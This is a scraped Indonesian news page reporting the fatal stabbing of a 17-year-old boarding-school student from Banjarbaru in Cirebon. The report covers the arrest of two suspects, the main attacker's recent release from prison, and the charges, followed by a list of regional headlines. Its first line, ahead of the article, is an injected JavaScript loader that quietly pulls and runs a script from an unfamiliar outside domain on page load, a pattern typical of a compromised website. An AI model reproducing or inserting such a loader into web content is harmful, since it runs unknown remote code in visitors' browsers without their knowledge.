(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Pemalak yang Tewaskan Santri Banjarbaru di Cirebon Baru 1 Bulan Keluar Penjara


CIREBON, Pengusutan kasus meninggalkan Muhammad Rozien (17), santri Ponpes Husnul Khotimah asal Banjarbaru yang ditikam pria berinisial YS dan RM, terus berlanjut. YS dan RM tega menikam Rozien menggunakan sebilah pisau.

Pelaku berniat menggasak barang-barang Rozien. Namun Rozien menolak hingga akhirnya ditikam dan tewas saat mendapatkan penanganan di RSUD Gunung Jati, Cirebon. Dari hasil pemeriksaan polisi, YS merupakan pelaku utama kasus pembunuhan Rozien. YS berperan mengeksekusi Rozien, sedangkan RM berperan sebagai joki.

Baca: 2 Pelaku Penusukan Santri Banjarbaru Tertangkap, Mau Kabur Polisi Hadiahi Timah Panas!

 Wakapolresta Cirebon Kompol Marwan Fajrin mengatakan YS tercatat sebagai residivis kasus yang sama, yakni pemerasan dengan kekerasan. Sebulan setelah keluar dari lapas, YS beraksi dan Rozien menjadi korbannya. “Pelaku inisial YS ini residivis, kasus yang sama. Tapi waktu itu tidak terjadi penganiayaan terhadap korbannya,” kata Marwan kepada detikcom, Senin (9/9).

Lebih lanjut, Marwan mengatakan, YS sempat dipenjara selama dua tahun. “Ya katanya baru sebulan keluar dari penjara,” ucapnya.

Seperti diberitakan sebelumnya, polisi membekuk YS dan RM sehari setelah kematian Rozien. Polisi terpaksa menembak kedua pelaku di bagian kakinya lantaran sempat melawan saat diamankan.

Baca: M Rozian, Santri Asal Banjarbaru Tewas Ditusuk Orang Tak Dikenal di Cirebon

 Akibat perbuatannya, pelaku dijerat Pasal 365 dan 368 KUHPidana tentang pencurian dengan kekerasan dan/atau pemerasan dengan ancaman kekerasan masing-masing hukumannya 9 tahun penjara. Kemudian, pelaku dijerat juga dengan Pasal 338 dan 351 KUHPidana tentang pembunuhan dan/atau penganiayaan yang mengakibatkan korban meninggal dunia, masing-masing hukumannya 15 dan tujuh tahun penjara.(tro/dtc)

Reporter : tro/dtc
Editor : Cell

 


Desy Arfianty

Recent Posts

Langsung Pakai Ihram, Kloter 10 Asal HSU-Banjar-Banjarmasin Terbang ke Tanah Suci

KANALKALIMANTAN.COM, BANJARBARU - Jemaah Haji Kabupaten Hulu Sungai Utara (HSU) yang tergabung dalam Kelompok Terbang… Read More

5 jam ago

Safari Jum’at Pj Bupati Kapuas di Masjid Baiturrahman Tamban Catur

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi melakukan Safari Jum’at di Masjid… Read More

7 jam ago

Aeris Hotel Banjarbaru Diberi SP 1, SLF dan Andalalin Belum Lengkap

KANALKALIMANTAN.COM, BANJARBARU – Tak miliki izin operasional, Hotel Aeris di Jalan Panglima Batur mendapat Surat… Read More

7 jam ago

Izin Operasional Aeris Hotel Belum Ada, Disporabudpar Banjarbaru Dapati Tamu Nginap

Manajemen Aeris Hotel: Masih Promosi, Ini untuk Mengetahui Dimana Error-nya Layanan Kita Read More

12 jam ago

Jaya Dekati PAN, Upaya Mengulang Koalisi di Pilwali Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Amanat Nasional (PAN) Kota Banjarbaru kedatangan Darmawan Jaya Setiawan, kader… Read More

22 jam ago

Lima Rumah Terbakar di Pekapuran Laut, Motor Matic Ikut Hangus

KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Pekapuran B Laut, Kecamatan Banjarmasin Tengah, Kota Banjarmasin dibuat geger… Read More

23 jam ago

This website uses cookies.